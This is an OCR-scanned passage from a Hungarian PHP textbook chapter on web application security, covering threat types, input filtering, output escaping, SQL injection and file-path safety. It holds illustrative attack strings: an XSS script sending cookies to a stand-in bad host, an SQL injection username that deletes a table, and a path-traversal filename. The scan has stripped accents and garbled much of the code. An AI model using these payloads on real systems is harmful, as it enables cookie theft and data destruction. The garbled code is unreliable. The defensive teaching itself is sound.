Akrcsak az elz veszlyforrs, a szolgltatsmegtagads sem csak rosszindulat visszals miatt kvetkezhet be. Hiba
rendelkeznk teljes kr, fizikailag mshol trolt biztonsgi mentsekkel: ha a szervereinknek otthont ad plet leg. srla
vina temeti be, vagy fldnlcivliek leromboljk, s mi megfelel terv hinyban nem tudjuk szmtgpeinket rendkivl rvid
id alatt jbl online llapotba hozni, akkor megint csak gyfeleket fogunk elveszteni.

Rosszindulat kd befecskendezse
Az interneten keresztl igen hatkony a rosszindulat kd befecskendezsnek (malicious code injecrion) nevezhet tmadst

pus. Ezen bell a leghresebb a Cross Site Scripting tmads. Szoks XSS-nek is nevezni, hogy ne keverjk ssze a CSS-knt
rvidtett egymsba gyazott stluslapokkal (Cascading Scyle Sheets). Ami igazn aggaszt ezekkel a tmadsokkal kapcso
latban, hogy nem keletkezik nyilvnval vagy azonnali adarveszts, hanem jellemzerr szrevtlenl lefut valamilyen kd, ami
klnbz mrtk adarvesztst vagy a felhasznlk tirnytst eredmnyezi.
A Cross Site Scripting alapveterr a kvetkezkppen mkdik:
l. A rosszindulat felhasznl egy rlapba, amely a belvitt adatokat msok szmra megjelenti (pldul megjegyzs vagy

zenet bevitelre szolgl rlapba) nem csak az zenetet rja be, hanem a kliensen lefut kdot is, pldul:
<script>="text/javascript">
this.document

"go.somewhere.bad?cookie="

this.cookie;

</script>="text/javascript">

2. A rosszindulat felhasznl elkldi az rlapot, s vr.


3. A rendszer kvetkez felhasznlja, aici elltogat a rosszindulat felhasznl ltal bevitt szveget tartalmaz oldalra, le

futtatja a bevitt szkript kdjt. Egyszer pldnk tirnytja a felhasznlt (s nmi cookie informcit) az eredeti oldalrl.
Br ez csak egy rendkivl egyszer plda, kliensoldali programozssal sok minden elrhet, az ilyen tmads ltal icinlc
lehetsgek pedig szmunkra igen rmisztek lehetnek.

16

248

16.fezet

Feltrt szerver
Ugyan egy feltrt kiszolgl a korbban sorolt fenyegetsekkel rszben megegyez veszlyforrsokat rejt, mgis rdemes meg
emlteni, hogy a tmadk clja egyes esetekben az, hogy hozzfrst szerezzenek rendszernkhz, s lehetleg rendszergazdai
jogosultsgokkal rendelkezzenek ekzben. Ha ez megvan, szinte teljhatalmat kapnak a feltrt szmtgp felett, brmilyen
programot futtathatnak, lellthatjk a gpet, vagy olyan szaftvereket telepthetnek, amelyek munkjt nem igazn fogjuk rt
kelni.
Nagyon nagy bersgre van szksg az ilyen tpus tmadsok ellen, mert a kiszolgl feltrse utn a tmadk egyik els
lpse nyomaik s a bizonytkek eltntetse lesz.

Kikkel llunk szemben:


Br sztnsen hajlamosak vagyunk a biztonsgi problmkat okoz szemlyekre gy gondolni, mint rossz vagy rosszindulat,
krokozsi szndktl vezrelt emberekre, sok esetben ms szereplk is megjelennek a"kzdtren': k akaraclan rsztvevk,
s nem veszik j nven, ha rosszknt tekintnk rjuk.

Crackerek
A legnyilvnvalbb s legismertebb csoportot crackereknek nevezzk.Szndkosan megklnbztetjk ket a hackerektl,

mert nem szeretnnk megsrteni az igazi hackereket, akik nagy rsze teljesen risztessges s j szndk programoz. A k
lnbz motivcij crackerek megprblnak gyengesgeket tallni, s ezeken tjutva elrni cljaikat. Vezetheti ket mohsg.
ha pldul egy versenytrsunk fizeti ket azrt, hogy informcikat szerezzenek rendszernkrl, de lehetnek egyszeren tehet
sges emberek, akik a ms rendszerekbe val betrs izgaimt keresik.Ugyan komoly fenyegetst jelentenek szmunkra, hiba
lenne minden erfesztsnket rjuk pazarolni.

Fertztt gpek tjkozatlan felhasznli


A crackerek mellett sokan msok miatt is aggdharunk A modern szoftverek nagy rszben megtallhat gyengesgek s biz

tonsgi hibk miatt a szmtgpek riasztan magas arnya fertztt rnindenfle feladatot vgrehajt programokkal. Knnyen
elfordulhat, hogy bels cges hlzatunk egyes felhasznlinak a gpn ilyen programok futnak, s azok gy tudjk tmadni
kiszolglnkat, hogy rni abbl mit sem sej tnk.

Elgedetlen alkalmazottak
A kvetkez csoportot, amelytl szintn okunk lehet tartani, sajt alkalmazottaink alkotjk. Ezek az alkalmazottak valarnilyen

okbl hajlamosak lehetnek krt okozni annak a cgnek, amelynek dolgoznak. Brmi is legyen a motivcijuk, megprblhatnak
amatr hackerr vlni, vagy olyan eszkzket szerezhernek be kls forrsbl, amelyekkel a vllalari hlzaton bellrl tmad
hatjk a szervereket. Ha megvdjk magunkat a klvilg tmadsaitl, de bellrl vdtelenek maradunk, nem lesznk bizton
sgban. Kellen nyoms rv ez az gynevezett demilitarizlt zna (DMZ) megvalstsra, arnivel a fejezet ksbbi rszben

16

foglalkozunk majd.

Hardvertolvajok
Gyakran figyelmen kvl hagyott biztonsgi fenyegets, ami ellen sokan egyszeren elfelejtenek vdekezni: valaki lazn bestl
a szerverszobba, kihzza valamelyik berendezs kbeleit, s hna alatt az eszkzzel kistl az pletbL Meglepdnnk, ha
tudnnk, hogy sok irodapletbe milyen egyszeren be lehet jutni, s ott a gyan legcseklyebb rnyka nlkl stlgatni. Ha
valaki a megfelel idpontban a megfelel szobba tr be, knnyen egy vadonatj szerver boldog tulajdonosv vlhat - s r
adsknt a bizalmas adarokkal teli merevlemezt is megnyerte.

Sajt magunk
Kellemetlen lehet elismerni, de rendszereink biztonsgt illeten mi magunk s az ltalunk rt kd az, ami az egyik legnagyobb
fejfjst okozhatja. Ha nem fordrunk kell figyelmet a biztonsgra, ha hanyag mdon rjuk meg a kdot, s nem kell alapos
sggal vgezzk rendszernk biztonsgi tesztelst s ellenrzst, akkor segit kezet nyjtunk a rendszernket feltrni kv
n, rosszindulat felhasznlknak.

Webes alkalmazsok biztonsga

249

Ha mr csinlunk valamit,csinljuk jl! Az internet klnsen nem megbocst a gondatlansgra vagy lustasgra hajlamos
szemlyekkel szemben. A legnehezebb az,amikor fnknket vagy a vllalkozsi djunkat elfogad vezett kell meggyzni ar
rl, hogy a tbbletkiads vagy tbbletid-rfordts bven megtrl majd. Ha nhny perces eladst tartunk nekik a biztons

gi mulasztsok negatv hatsairl

(kztk a pnztrcjuk ellen dolgoz kros kvetkezmnyektl), taln knnyebben beltjk,

hogy rdemes a biztonsgra kicsivel tbbet sznni egy olyan vilgban,ahol minden a hrnvrl szl.

Kdunk biztonsgoss ttele


A biztonsg megkzeltsnek msik tja,amikor egyenknt megvizsgljuk az alkotelemeket,s megnzzk,hogyan nvelhe

t a bizronsguk. Els lpsknt azokat a dolgokat vizsgljuk meg, amelyek segthecnek megrizni kdunk biztonsgt. Ugyan
knyvnkben nincs mdunk arra, hogy bemutassuk, mi mindent tehernk az sszes lehetsges biztonsgi fenyegers elhrtsa
rdekben (szmtalan ktetnyi irodalmat rtak mr e tmban),ltalnos irnymutatst prblunk nyjtani,hogy a megfelel
irnyba induljunk el. A PHP egyes,a ksbbi fejezetekben hasznland mdszereivel kapcsolatos biztonsgi agglyokra akkor
s ott fogjuk felhvni a figyelmet, amikor bemutatjuk e mdszereket.

Felhasznl ltal bevitt rtkek szrse


Az egyik legfontosabb dolog, amit webes alkalmazsaink biztonsgosabb ttele rdekben megtehernk,hogy

minden, Jelhasz

nl ltal bevitt rtket szrnk.


Az alkalmazsok fejlesztinek minden,kls forrsbl szrmaz bevitele szrnik kell. Ez nem azt jelenti,hogy rendsze
rnket azzal a felttelezssel kell megtervezni,hogy az sszes felhasznlnk tisztessgtelen. ppen ellenkezleg: rmmel
ltjuk,st btortjuk ket,hogy hasznljk webes alkalmazsunkat. Viszont szerecnnk megbizonyosodni arrl,hogy minden
szempontbl felkszltek vagyunk a rendszernkkel esetlegesen elkvetett visszalsekkel szemben.
Hatkonyan vgrehajtort szrssel jelents mrtkben cskkenthetjk a kls fenyegetsek szmt,s fokozhatjuk rend
szernk robusztussgt. Mg ha ktsg sem merl fel felhasznlink megbzhatsgval kapcsolatban,akkor sem lehetnk
biztosak afell,hogy nincsen gpkn valamilyen spyware program vagy hasonl dolog,amivel mdostort vagy j krseket
kld szervernknek.
A kls forrsbl, pldul gyfelektl rkez bevitel szrsnek fontossgra val tekintertel nzzk meg,milyen mdon
tehetjk ezt meg!

A vrt rtkek alapos ellenrzse


Gyakran krjk a felhasznlkat arra,hogy megadott lehetsgek, pldul a szllts mdjai (posta,futr,expressz) kzl v
lasszanak. Kpzeljk el,hogy az albbi egyszer rlappal dolgozunk:
<htrnl>
<head>
<title> Ht,

te ki vagy?

</title>

</head>
<body>
<forrn action="urlap_elkuldese.php" rnethod="POST">
<input type="radio" narne="nerne" value="Ferfi"/>Frfi<br/>
<input type="radio" narne="nerne" value="No">N6<br/>
<input type="radio" narne="nerne" value="Egyeb"/>Kzd?<br/>
<input type="subrnit" value="subrnit"/>
</forrn>
</body>
</htrnl>

Ez az rlap a 16.1 brn lthat mdon nz ki. Ennek birtokban felttelezhetnnk,hogy amikor csak lekrdezzk az
urlap_elkuldese.phpfjlban a$_POST['nerne')
nagyor rvednnk.

rtkt,a 'Ferfi', 'No' vagy 'Egyeb' valamelyikt kapjuk-s

16

250

16. fejezer

16.1 bra: Egyszer rlap a Jelhasznl nemnek kidertsre.

Ahogy korbban mr emltettk, az interner a HTTP, egy egyszer szvegprorokoll hasznlatval mkdik. Az elz rlap
szveges zenetknt, az albbihoz hasonl szerkezerben jutna el kiszolglnkhoz:
POST /neme.php HTTP/1.1
Host: www.yourhostname.com
User-Agent: Mozilla/5.0

(Windows; U; Windows NT 6.0;

en-US;

rv:l.9.0.1)

Gecko/2008070208 Firefox/3.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: ll
neme=Ferfi

Azt azonban semmi nem akadlyozza meg. hogy valaki kapcsoldjon webszervernkhz, s brmilyen rtket kldjn ne
knk az rlaphoz. gy ez a valaki a kvetkezket is elkldheti neknk:
POST /neme.php HTTP/1.1
Host: www.yourhostname.com
User-Agent: Mozilla/5.0

(Windows; U;

Windows NT 6.0; en-US; rv:1.9.0.1)

Gecko/2008070208 Firefox/3.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
neme=szeretem+a+sutiket.

Ha ksbb az albbi kdot rnnk:


<?php
echo "<p align=\"center\">
A felhasznl neme: ". $ POST ['neme' J

"

</p>";
?>

knnyen zavarba hozharnnk sajt magunkat. Sokkal jobban jrunk, ha tnylegesen meggyzdnk arrl, hogy a bejv rtk
a vrt/megengedett rtkek valamelyike, pldul gy:
<?php
switch

($_POST['neme'])

case 'Ferfi' :

16

case No':
case

'Egyeb' :

echo "<p align=\"center\">Gratullunk!


Nemed: ".$ POST['neme']. ".</p>";
break;

default:

echo "<p align=\"center\">


<span style=\"color:

red;\">FIGYELMEZTETS:</span>

rvnytelen bemeneti rtk a nemnl.</p>";

break;

?>

Webes alkalmazsok biztonsga

251

Kicsivel hosszabb ugyan ez a kd, de legalbb biztosak lehetnk benne, hogy helyes rtkeket kapunk, s ez igen fontos
lehet, amikor a felhasznl nemnl bizalmasabb adarokkal kezdnk dolgozni. ltalnos szablyknt elmondhat, hogy soha
nem elg felttelezni, hogy egy rlapbl szrmaz rtk az ort megadort rtkek valamelyike lesz - minden esetben ellenrizni
is kell ezt.

Mg a legegyszerbb rtkeket is szrni kell


A HTML rlapelemekhez nincsen tpus trsrva, legtbbjk egyszeren karakterlncokat ad t a szervernek. (Ezek a karak
terlncok viszont akr dtumot, idt vagy szmot is jelkpezhetnek.) ppen ezrt numerikus mez esetn sem felttelezhet
jk, hogy valban szmot vittek be rajta keresztl. Mg olyan krnyezetekben, ahol klnsen hatkony kliensoldali kddal
prblnak megbizonyosodni arrl, hogy a bevirt rtk adott tpus-e, sincsen garancia arra, hogy az rtkeket nem kzvetlenl
a kiszolglnak kldtk, ahogy azt az elz rszben lttuk.
Egyszeren szavatolhatjuk, hogy egy rtk a vrt tpus legyen, ha az adott tpusra konvertljuk, majd azt az rtket hasz
nljuk. Pldul gy:
$ejszakak_szama = (int)$_POST['ejsz szama'];
if ($ejszakak_szama
echo

"HIBA:

==

0)

rvnytelen rtk az jszakk szmnl!";

exit;

Ha azt szeretnnk, hogy a felhasznl az adott orszgban szoksos formtumban adja meg a dtumot, ami pldul egyeslt
llamokbeli felhasznJk es ern mm/dd!yy, azaz hh/ nn/ , akkor a checkdate nev PHP fggvny segtsgvel rhatunk
olyan kdot, ami ellenrzi a dtum valdisgt. Ez a fggvny hnap, nap s v rtket fogad (az v ngy szmjeggyel rva), s
arrl tjkoztat, hogy ezek az rtkek egytt rvnyes dtumot adnak-e ki:

ll a split a robstring-en keresztl mbcs-biztos (lsd 5. fejezet)


$mmddyy = spllt($_POST['tavozas datuma],
if (count($mmddyy)

'/');

!= 3)

{
echo

"HIBA:

rvnytelen dtum lett megadva!";

exit;

ll az olyan vek kezelse,


if ((int)$mmddyy[2]

<

mint a 02 vagy 95

100)

if ((int)$mmddyy[2] > 50)


$mmddyy[2] = (int)$mmddyy[2]

1900;

2000;

else if ((int)$mmddyy[2] >= 0)


$mmddyy[2] = (int)$mmddyy[2]

ll klnben < O s a checkdate elkapja


if (!checkdate($mmddyy[0], $mmddyy[l],

$mmddyy[2]))

{
echo

"HIBA:

rvnytelen dtum lett megadva!";

exit;

Ha idt sznunk a bevirt adatok szrsre s rvnyestsre, nem csak az els lpsknt vgrehajtand, termszetes hibake
resst knnytjk meg (pldul annak megllaptst, hogy egy repljegynl az indulsi dtum rvnyes dtumformtum-e),
hanem egyrral rendszernk biztonsgt is nvelj k.

16

252

16. fejezet

Karakterlncok biztonsgoss ttele az SQL-re


A karakterlncok feldolgozsnak msik lehetsges clja, amikor az SQL injection tmadsok megelzse rdekben bizton
sgoss tesszk ket. Az ilyen tmadsokrl mr beszltnk a MySQL PHP-beli hasznlarnL Ezeknl a rosszindulat fel
hasznl a nem kellen vdett kdot s felhasznli jogosultsgokat prblja meg kiaknzni, hogy tovbbi SQL kdot futtatva
szmunkra egyltaln nem kivnatos mveleteket hajtson vgre. Ha nem jrunk el kell gondossggal, az albbi felhasznlnv
cica_mica;

DELETE FROM

felhasznalok;

komoly problmt okozhat szmunkra.


Ktflekppen elzhetjk meg az ilyen tpus biztonsgi incidenseker:
Az SQL-en keresztl az adatbzisszervereknek kldtt sszes karakterlncot szrjk s lssuk el vdkarakterekkel!
A mysql_escape_string, a mysqli:: real_escape_string vagy amysqli_real_escape_string fgg
vnyt hasznlhatjuk erre a clra.
Gyzdjnk meg arrl,hogy minden input megfelel annak, amit vrunk! Ha a felhasznli nevek legfeljebb 50 karakter
hosszak lehetnek, s csak betkbl s szmokbl llhatnak,akkor biztosak lehetnk abban, hogy a nv vgn lev
DELETE FROM

felhasznalok"

"

nem megengedett. Ha olyan PHP kdot runk, ami mr azt megelzen megbi

zonyosodik afell, hogy az input a lehetsges rtkeket veszi fel, mieltt az adatbzisszervernek elkldenk azt, sokkal
tartalmasabb hibazenetet rhatunk ki,mint amilyet az adarbzis adna (ha az egyltaln ellenrizne ilyen dolgokat). s
nem mellesleg a kockzatunkat is mrskeljk.
A mysqli kiterjeszts azltal fokozza a biztonsgot,hogy egyeden lekrdezst enged lefuttam i a mysqli_ query vagy
a mysqli::query metdussal. Tbb lekrdezs vgreh:Ytshoz a mysqli_multi_query vagy a mysqli: : multi_
query

metdust kell hasznlnunk,gy elkerlhetjk tovbbi, potencilisan kros utastsok vagy lekrdezsek futtatst .

A kimenet rtkeinek szrse vdkarakterekkel


A felhasznlk ltal bevitt adatok szrsvel megegyez fontossg,hogy kimeneteinket vdkarakterekkel lssuk el. Ha mr
felhasznli rtkek szerepeinek rendszernkben, igen fontos megbizonyosodnunk arrl,hogy ezek nem tudnak krt tenni, s
nem jrnak nem kivnt kvetkezmnyekkel. Olyan fggvnyekkel tehetjk ezt meg,amelyek gondoskodnak rla,hogy a kliens
gpen lv bngsz ne rtse flre ezeket az rtkeket,s egyszeren szvegknt jelentse meg ket.
Gondoljunk azokra az alkalmazsokra, amelyeknl fogjuk a felhasznl ltal bevitt inputot, majd valamelyik oldalon meg
jelentjk! Pldaknt emlthetjk az zenfalakat vagy azokat az oldalakat, ahol a felhasznlk megjegyzseket rhatnak a cik
kekhez. Ilyen esetekben figyelnnk kell, hogy a felhasznlk ne szrjanak be rosszindulat HTML jellket az ltaluk bevitt
szvegbe.
Ennek egyik legegyszerbb mdja a htmlspecialchars vagy a htmlentities fggvny hasznlata. Ezek fogjk
a bemeneti karakterlncban lv egyes karaktereket, s HTLM entity-kk alaktjk azokat. A HTML entity rviden olyan k
lnleges karaktersor, amely s karakterrel ( & ) kezddik, s HTML kdban nem egyszeren jelkpezhet, klnleges karak
tert jell. Az s karakter utn az entity neve,majd a zr pontosvessz ( ; ) kvetkezik. Az entity opcionlisan JI s egy tzes
szmrendszerbeli szm ltal meghatrozott ASCII kd is lehet, a perjel ( l ) esetben pldul &#4 7;.
Mivel HTML-ben az sszes jellelemet

<

>

karakterek fogjk kzre,nem olyan egyszer ezeket a megjelentend car

ralom kimenetnek karakterlncba bevinni (mivel a bngsz alaprtelmezsben azt gondolja, hogy ezek jellelemekre utal

16

nak). Ehhez az &lt; s &gt; entity-t kell hasznlnunk. Ugyangy, ha s karaktert szecetnnk rakni a HTML-be, az &amp;
entity-re van szksgnk. Az egyszeres s dupla idzjelet a &#3 9;, illetve a &quot;

jelkpezi. Az entiry-ket a HTML kliens

(bngsz) konvertlja kimenett, gy azok nem tekinthetk a jell rsznek.


A htmlspecialchars s a htmlentities fggvny kztt a kvetkez a klnbsg: az elbbi alaprtelmezsben
csak az &,

<

>

karaktereket cserli le,opcionlisan pedig bellthatjuk,hogy az egyszeres s dupla idzjeleket is kezelje.

A htmle ntities viszont minden entiry-vel jelkpezhet karaktert lecserl. Ilyen entity tbbek kzte a szerzi jog szimb
luma, a ,amit a &copy; jelkpez, vagy az &euro; ltal jelkpezett eur szimblum. A fggvny azonban nem konverrlja
a karaktereket numerikus entiry-kk.
Mindkt fggvny msodik paramtere hatrozza meg, hogy az egyszeres s dupla idzjelek entiry-kk legyenek-e alakt
va, illetve harmadik paramterle hatrozza meg a karakterkszletet,amelybe a bemeneti karakterlnc kdolva lesz. (Ez igen
fontos szmunkra, mert azt szerernnk, hogy a fggvny megbzhatan mkdjn UTF-8 karakrerlncainkon.) A msodik
paramter lehetsges rtkei a kvetkezk:
ENT_COMPAT

-A dupla idzjeleket &quo t; -ra alaktja t,de az egyszereseket rintetlenl hagyja.

ENT_QUOTES

-Az egyszeres s a dupla idzjeleket is talaktja &#3 9; -re,illetve &quo t; -ra.

ENT_NOQUOTES

alaktja t.

(az alaprtelmezett rtk )- A fggvny ekkor sem az egyszeres, sem a dupla idzjeleket nem

Webes alkalmazsok biztonsga

253

Gondoljuk vgig az albbi szveget!


Sbemenet1_sztring = "<p align=\"center\">A felhasznl ltal kldtt rtk:

\"15000?\".</

p>
<script type=\"text/javascript\">

ll ide kerl a rosszindulat JavaScript kd.


</script>";

Ha vgigfuttatnnk a kvetkez PHP kdon (az nl2br fggvnyt azrt futtatjuk a kimeneti karakterlncon, hogy a bn
gszben szpen formzott legyen):
<?php
Sstr = htmlspecialchars($bemenetl_sztring,

ENT_NOQUOTES,

"UTF-8");

echo nl2br($str);
Sstr = htmlentities(Sbemeneti_sztring,

ENT_QUOTES,

"UTF-8");

echo nl2br($str);

?>

kimenerknt az albbi szveget ltnnk:


&lt;p align="center"&gt;A felhasznl ezt adta neknk:

"15000?".&lt;/p&gt;<br />

<br />
&lt;script type="text/javascript"&gt;<br />

ll ide kerl a rosszindulat JavaScript kd.<br />


&lt;/script&gt;&lt;p align=&quot;center&quot;&gt; A felhasznl ezt adta neknk:
& quot;15000&euro;&quot;.&lt;/p&gt;<br />
<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />

ll ide kerl a rosszindulat JavaScript kd.<br />


&lt;/script&gt;

s a kvetkezkppen nzne ki a bngszben:


<p align="center"> A felhasznl ezt adta neknk:

"15000?".</p>

<script type="text/javascript">

ll ide kerl a rosszindulat JavaScript kd.


</script><p align="center"> A felhasznl ezt adta neknk:

"15000?".</p>

<script type="text/javascript">

ll ide kerl a rosszindulat JavaScript kd.


<l script>

Figyeljk meg, hogy a htmlentities fggvny entiry-re ( &euro; ) cserlre az eur szimblumt ( ), ng
nem nylt hozz!
Olyan esetekben, amikor meg kvnjuk engedni a felhasznlknak bizonyos HTML hasznlatt - pldul zenfalon, ahol
a felhasznlk szvesen veszik, ha karakterek segitsgvel szablyozhatjk a bettpusr, -sznt s -stlust (flkvr vagy dlt) -,
akkurtusan vgig kell nznnk a karakterlncokat, hogy azonostsuk s ne szrjk ki ezeket.

htmlspecialchars

Kdjaink szervezse
Egyes vlemnyek szerint a felhasznlk ltal az internetrl kzvetlenl nem elrhet fjlokat nem szabad a weboldal gykr
knyvrrba helyezni. Ha pldul zenfalas honlapunk gykrknyvtra a /home/httpd/messageboard/www, a beillesztett
fjlokat, illetve az oldalhoz rt brmely egyb fjlt mondjuk a /home/httpd/messageboard/code knyvrrba kell raknunk. Ha
kdunkba szerernnk beilleszteni ezeket a fjlokat, a kvetkezket kellene rnunk:
require_once(' .. /code/felhasznaloi_objektum.php);

Az ilyen fok elvigyzatossg alapja az az eset, amikor egy rosszindulat felhasznl nem . php vagy .html fjira ir
nyul krst intz. Sok webszerver alaprtelmezsben a kimeneti adatfolyamba rja az ilyen fjl tartalmr. gy, ha valahol a nyil
vnos gykrknyvtrban trolnnk a felhasznaloi_objektum. php fjlt, s a felhasznl ezt a fjlt krn, kdunk reljes

16

254

16. fejezet

tartalma megjelenne a bngszben. Ekkor ez a felhasznl ltham, hogyan programoztuk az alkalmazst, s hozzfrne az
esetlegesen a fjlban lv szellemi tulajdonunkhoz, illetve olyan biztonsgi hibt (exploit) tallhat, arnirl megfeledkeztnk.
Ezt elkerlend gy kell webszervernket konfigurlni, hogy csak a . php s . html fjlok krst engedlyezze, a ms
tpus fjlokra vonatkoz krseket pedig a kiszolgl hibazenettel utastsa el.
Ugyangy rdemes minden ms fjlt, pldul a jelszfjlokat, a szveges fjlokat, a konfigurcis fjlokat vagy a klnleges knyvtrakat a nyilvnos gykrknyvtrtl tvol tartani. Mg ha azt is gondoljuk, hogy megfelelen kenfigurltuk
webszervernket, elfordulhat, hogy megfeledkeztnk valamirl. Vagy, ha ksbb msik, nem megfelelen kenfigurit szerver
re helyezzk t alkalmazsunkat, biztonsgi kockzamak lehetnk kitve.
Amennyiben az allow_url_ fopen belltst bekapcsoljuk a php.ini fjlban, akkor elmletileg tvoli szerverekrl is be
illeszthetnk vagy lekrhetnk fjlokat. Ez jabb biztonsgi hibaforrst jelent alkalmazsunk szmra, s jobban tennnk, ha
vakednnk ms gpekrl szrmaz fjlok beillesztstL Klnsen olyan fjlok esetben, amelyek nem teljes mrtkben az
irnytsunk alatt ll gpekrl szrmaznak. Hasonlkppen kerlend az is, hogy felhasznl ltal bevitt adatokat hasznl
junk a beillesztend vagy lekrend fjlok kivlasztsra, mert a rossz input itt is problmkhoz vezethet.

Mi kerl a kdunkba?
Az eddig ltott, az adatbzisok elrsre szolgl kdrszletek egyszer szvegknt tartalmaztk az adatbzis nevt, a felhasz

nli nevet s a jelszt, pldul gy:


$kapcsolat = @new mysqli("localhost",

"bob",

"titok",

"adatbazis");

Ez knyelmes ugyan, m kevsb biztonsgos, mert ha a crackerek rceszik a kezket a . php fjlunkra, a bob nev felhasz
nl jogosultsgaival egybl hozzfrnek adatbzis unkhoz.
Clszerbb a felhasznli nevet s jelszt olyan fjlba tenni, amely nem a webes alkalmazs gykrknyvtrban helyezkedik
el, majd kdunkba beilleszteni azt, pldul gy:
<?php

ll ez az adatbazishoz kapcsolodas.php
$adatbazis szerver = 'localhost';
$adatbazis_felhasznaloi_nev = 'bob';
$adatbazis_jelszo = 'titok';
$adatbazis_neve = 'adatbazis';

?>

<?php

include(' .. lcodeladatbazishoz kapcsolodas.php);

$kapcsolat = @new mysqli($adatbaz1s szerver,

16

jelszo,

$ adatbazis felhasznaloi_nev,

$ adatbazis

$ adatbazis_neve);

ll stb.

?>

Javasolt ugyangy eljrni ms, hasonlan rzkeny adatokkal is, amelyekrl gy gondoljuk, hogy mg egy vdelmi rtegre
rdemesek.

A fjlrendszerrel kapcsolatos, megfontoland szempontok


A PHP kialakitsakor figyelembe vettk a helyi fjlrendszer hasznlatnak lehetsgt. Kt krdst is rdemes vgig
gondolnunk:
Az ltalunk a lemezre rt fjlok kztt lesznek olyanok, amelyeket msok is lthatnak?
Ha msok szmra is megadjuk ezt a lehetsget, vajon k is hozz tudnak frni olyan fjlokhoz, amelyekhez nem sze
retnnk, ha hozzfrnnek (pldul letclpasswd) ?
gyelnnk kell, hogy ne rjunk a lemezre tfog biztonsgi jogosultsgokkal br fjlokat, s ne rakjuk ket olyan helyre,
ahol egy tbbfelhasznls opercis rends:zer, pldul a Unix klnb:z vltozatainak ms felhas:znli is elrhetik azokat.

Webes alkalmazsok biztonsga

255

Ezen tlmenen akkor is rendkvl vatosan kell eljrnunk, ha megengedjk a felhasznlknak, hogy berjk az ltaluk ltni kvnt fjl nevt. Ha gykrknyvtrunkban
Apache 2. 2. htdocs\)

(c: \Program

Files\Apache

Software

Foundation\

egy olyan fjlokkal teli knyvtr helyezkedik el, amelyhez hozzfrst adunk a felhasznlknak, s k

bevihetik a megtekinteni kvnt fjl nevt, akkor komoly problmink addhatnak, amennyiben a
.. \ . . \..\php\php.ini

fjlt szeretnk megnzni.


Ezzel lehetv vlik szmukra, hogy megismerjk PHP-teleptsnket, s megnzzk, vannak-e olyan nyilvnval gyenge
sgek, amiket kihasznlhatnnak. Ezt a problmt is knnyen orvosolhaguk: ha elfogadunk felhasznli bevitelt, szigoran
szrnnk kell, hogy elkerlhessk az ilyen jelleg gondokat. Az elz pldban a ..\ elfordulsainak eltvoltsa minden
bizonnyal segtene megelzni az ilyen problmt, mint ahogy az is, ha az olyan abszolt elrsi tvonalakat is kiszrjk, mint
pldul a c: \mysql\my. ini.

A kd stabilitsa s kdhibk
Ahogy korbban mr utalrunk r, kdunk megfelel tesztelse s ellenrzse nlkl, illetve ha a kd annyira bonyolult, hogy
tele van hibkkal, webes alkalmazsunk nagy valsznsggel nem fog megfelelen mkdni, vagy nem lesz kellen biztons
gos. rdemes beismerni, hogy mi, programozk s az ltalunk rt kd egyarnt esend.
Kpzeljk el, hogy valaki megnyit egy weboldalt, ber egy szt a keressi prbeszdabiakba (pldul azt, hogy difenesztrci),
rkattint a"Keress" gombra, majd valami ilyesmit lt megjelenni:
;Oll! Ennek soha nem lett volna szabad megtrtnnie. BUG BUG BUG! 1!!

Ez a felhasznl rninden bizonnyal kevss fog bzni az oldal robusztussgban vagy biztonsgban.
Ha a kezdetektl fogva tudatosan treksznk alkalmazsunk stabilitsra, s ennek megfelelen tervezzk, eredmnyesen
cskkenthegle az emberi hibk miatt bekvetkez problmk valsznsgt. A kvetkez mdszerekkel rhegk el ezt a clt:
Alapos tervezsi munka elzze meg termknk ltrehozst, s lehetsg szerint ksztsnk prototpusokat l Minl tb
ben nzik t terveinket, annl nagyobb valsznsggel fogjuk kiszrni a lehetsges problmkat. Remek alkalom ez arra
is, hogy hasznlhatsgi tesztet vgezznk alkalmazsunk kezelfelletn.
Teremtsnk elegend tesztdsi erforrst projektnk szmra! Rengeteg projekten sprolnak ezen, vagy mindssze
egyeden tesztel jut a projekt tven fejlesztjre. A fejlesztk jellemzen nem bizonyulnak j tesztelknek! Teljes mr
tkben megbizonyosodnak ugyan arrl, hogy a megfelel inputtal kdjuk tkletesen mkdik, de kevsb megbzhatk
az esetleges problmk feltrsban. A nagy szaftverfejleszt cgek majdnem ugyanannyi tesztelt s fejleszrt foglal
koztatnak, s ugyan nem valszn, hogy fnkeink is meg fognak fizetni ilyen sok tesztelt, alkalmazsunk sikere vala
mennyi tesztel erforrst mindenkppen ignyelni fog.
Vegyk r fejlesztinket, hogy konkrt tesztdsi mdszertant kvessenek! Minden bizonnyal gy sem fogjk az sszes
olyan hibt megtallni, amit egy tesztel megtallna, de mindenkppen segit elkerlni a regresszlst. Azt a szirucit
nevezzk gy, amikor a korbban mr kijavtott problmk vagy hibk a kd egyb vltoztatsai miatt jbl megjelennek.
A fejlesztknek csak akkor szabad megengedni, hogy vglegestsk a vltoztatsokat, ha minden egysg sikeresen tesztel
te azokat.

Az alkalmazst zembe helyezs utn, futs kzben is figyelni kell.A naplk rendszeres bngszsbl s a felhasznli/
fogyaszti szrevtelek elolvassbl kiderthet, hogy jelentkeznek-e komoly problmk vagy esetleges biztonsgi rsek. Ha
igen, mr azeltt kezelni tudjuk ket, hogy kritikuss vlhatnnak.

Vgrehajt opertor s az e xe c parancs


Korbban rviden mr emltettk a parancssori

utasts-vgrehajt (shell command executor) vagy vgrehajt mveleti jel

(execution operator) nev funkcit. Ez alapveten olyan nyelvi opertor, amellyel tetszleges parancsokat futtatharunk pa
rancshjban (Unix-szer opercis rendszerek esetben az sh valamilyen vltozata, Windows esetn a cmd.exe), ha fordtott
idzjelek ( ') kz tesszk az adott parancsot. Fontos megjegyezni, hogy ez az idzjel nem azonos a sima, egyszeres id
zjellel ( ').Angol nyelv billentykioszts esetn a bal fels sarokban helyezkedik el a billenty, ms nyelv billentyzeten
ugyanakkor komoly kihvs lehet megrallni. A vgrehajt mveleti jel a lefuttatott program szveges kimenett tartalmaz
sztringrtket adja vissza.
Ha van egy olyan szveges fjlunk, ami nevekbl s telefonszmokbl ll listt tartalmaz, a grep paranccsal sszellt
hatjuk a"Smith" szt tartalmazk listjt. A

grep

Unix-szer parancs, amely a keresend karakterlncmintt s azon fjlok

listjt vrja, amelyek kzt keresnie kell.A keresend mintnak megfelel sorokat adja vissza.
grep

[args)

minta kereses helye...

16

256

16. fejezet

